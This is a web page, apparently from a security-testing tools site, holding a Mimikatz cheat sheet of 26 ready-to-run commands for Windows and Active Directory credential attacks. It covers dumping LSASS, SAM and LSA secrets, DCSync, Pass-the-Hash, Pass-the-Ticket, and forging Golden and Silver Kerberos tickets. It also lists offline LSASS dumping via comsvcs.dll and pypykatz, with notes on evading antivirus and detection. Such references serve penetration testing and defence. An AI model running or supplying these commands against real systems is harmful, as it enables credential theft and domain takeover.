Mimikatz Credential Dumping Cheatsheet

Complete mimikatz reference for credential dumping, Pass-the-Hash, Pass-the-Ticket, Golden/Silver Tickets, and DCSync attacks. (26 payloads)

Setup & Privilege

(4)

privilege::debug

Enable SeDebugPrivilege — required for most mimikatz commands

token::elevate

Elevate to SYSTEM token (if running as admin)

misc::cmd

Spawn a cmd.exe with mimikatz privileges

log /userlogfile.txt

Log all output to file

Credential Dumping

(9)

sekurlsa::logonpasswords

Dump cleartext passwords and hashes from LSASS memory (WDigest, NTLM, Kerberos)

sekurlsa::wdigest

Dump WDigest credentials — cleartext passwords (requires WDigest enabled)

sekurlsa::ekeys

Dump Kerberos encryption keys (AES, DES, RC4)

sekurlsa::credman

Dump Windows Credential Manager passwords

lsadump::sam

Dump local SAM database hashes (offline — system/sam hives)

lsadump::secrets

Dump LSA secrets (service account passwords, cached domain creds)

lsadump::cache

Dump cached domain credentials (DCC2 hashes)

lsadump::dcsync /domain:corp.local /user:Administrator

DCSync — replicate domain credentials without touching LSASS (requires DA)

lsadump::dcsync /domain:corp.local /all /csv

DCSync all domain accounts to CSV

Pass-the-Hash

(2)

sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<NTLM_HASH> /run:cmd.exe

Pass-the-Hash — spawn cmd.exe authenticated as target user

sekurlsa::pth /user:admin /domain:. /ntlm:<NTLM> /run:"mstsc.exe /restrictedadmin"

Pass-the-Hash to RDP (Restricted Admin mode)

Kerberos Attacks

(4)

kerberos::list /export

List and export Kerberos tickets from memory

kerberos::ptt ticket.kirbi

Pass-the-Ticket — inject Kerberos ticket into current session

kerberos::purge

Remove all Kerberos tickets from memory

kerberos::tgt

Get current TGT information

Golden & Silver Tickets

(3)

kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:<NTLM> /ticket:golden.kirbi

Create Golden Ticket (requires krbtgt hash) — valid for 10 years, domain admin access

kerberos::silver /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:server.corp.local /service:cifs /rc4:<hash> /ticket:silver.kirbi

Create Silver Ticket (service-specific, harder to detect than Golden)

lsadump::dcsync /user:krbtgt # Get krbtgt hash first

Get krbtgt hash via DCSync for Golden Ticket

LSASS Dump (Offline)

(4)

Task Manager → Details → lsass.exe → Create dump file

GUI LSASS dump (requires admin, may be blocked by EDR)

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id lsass.dmp full

LOLBIN LSASS dump via comsvcs.dll

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

Parse offline LSASS dump file

pypykatz lsa minidump lsass.dmp

Parse LSASS dump offline with pypykatz (Python, no AV signature)

ShareX LinkedIn Reddit

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Generators

Active Directory

Related Cheat Sheets

Post-Exploitation Cheat Sheet Active Directory & Kerberos Cheat Sheet Hashcat Password Cracking Cheatsheet

$loading...